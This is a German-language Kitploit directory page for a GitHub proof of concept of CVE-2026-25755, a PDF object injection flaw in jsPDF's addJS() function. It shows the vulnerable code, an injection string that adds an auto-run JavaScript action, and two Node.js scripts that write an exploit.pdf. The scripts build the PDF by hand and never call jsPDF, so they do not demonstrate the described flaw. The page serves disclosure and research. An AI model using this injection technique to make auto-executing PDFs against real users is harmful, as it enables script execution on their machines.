Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
jsPDF-Object-Injection — CVE-2026-25755 Eine kritische PDF-Objektinjektions-Schwachstelle in jsPDF ermöglicht es Angreifern, beliebige PDF-Objekte über die Funktion `addJS()` einzuschleusen, was einen AcroJS-Sandbox-Bypass und die automatische Skriptausführung beim Öffnen von PDFs ermöglicht. | Kitploit
Tools/GitHubGitHub/absholi7ly/jspdf-object-injection
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPayload-Entwicklung
GitHubabsholi7ly/jspdf-object-injection

jsPDF-Object-Injection

CVE-2026-25755 Eine kritische PDF-Objektinjektions-Schwachstelle in jsPDF ermöglicht es Angreifern, beliebige PDF-Objekte über die Funktion `addJS()` einzuschleusen, was einen AcroJS-Sandbox-Bypass und die automatische Skriptausführung beim Öffnen von PDFs ermöglicht.

Repository anzeigen
vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-25755 Sandbox-Bypass: jsPDF-Schwachstelle führt zu Objektinjektion

Übersicht

Eine kritische PDF-Objektinjektions-Schwachstelle (CVE-2026-25755) wurde in jsPDF entdeckt, einer weit verbreiteten JavaScript-Bibliothek zur Erzeugung von PDF-Dokumenten in clientseitigen Anwendungen. Die Schwachstelle existiert in der Funktion addJS(), die es Angreifern ermöglicht, beliebige PDF-Objekte zu injizieren und die AcroJS-Sandbox-Beschränkungen durch unzureichende Eingabebereinigung zu umgehen.


Ursache

Die Funktion addJS() in jsPDF ermöglicht Entwicklern, JavaScript-Code in erzeugte PDF-Dateien einzubetten. Vor Version 4.2.0 gelang es der Funktion jedoch nicht, Benutzereingaben mit speziellen PDF-Syntaxzeichen ordnungsgemäß zu bereinigen.

Verwundbarer Code (Vor 4.2.0)

root@kitploit:~
function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

Der Injektionsvektor

Die Funktion verkettet Benutzereingaben direkt in PDF-Objektströme, ohne diese zu escapen:

  • Öffnende Klammer (
  • Schließende Klammer )
  • Backslash \

Dies ermöglicht es Angreifern, den JavaScript-String-Kontext vorzeitig zu schließen und beliebige PDF-Objekte zu injizieren.

PDF-JavaScript-Struktur

root@kitploit:~
/JS (app.alert('Hello World'))

Injektions-Payload

root@kitploit:~
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";

PDF-Objektstrom

root@kitploit:~
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
     ↑
     Injektionspunkt - String-Kontext umgangen

Injektionsmechanismus

SchrittAktionErgebnis
1) schließt den ursprünglichen /JS-StringString-Kontext beendet
2>> schließt das aktuelle PDF-ObjektObjektstruktur aufgebrochen
3/AA << /Open << ...Neues Aktionswörterbuch injiziert
4Beliebige PDF-Objekte hinzugefügtVollständige Objektinjektion erreicht

PoC-Code (Node.js)

Erstellen Sie eine Datei mit dem Namen exploit.js und schreiben Sie Folgendes hinein

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000092 00000 n 
0000000275 00000 n 
0000000352 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

Payload

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000172 00000 n 
0000000249 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);
root@kitploit:~
Führen Sie node exploit.js aus

Ergebnis: Die Datei exploit.pdf wurde im selben Ordner erstellt.

Tool herunterladen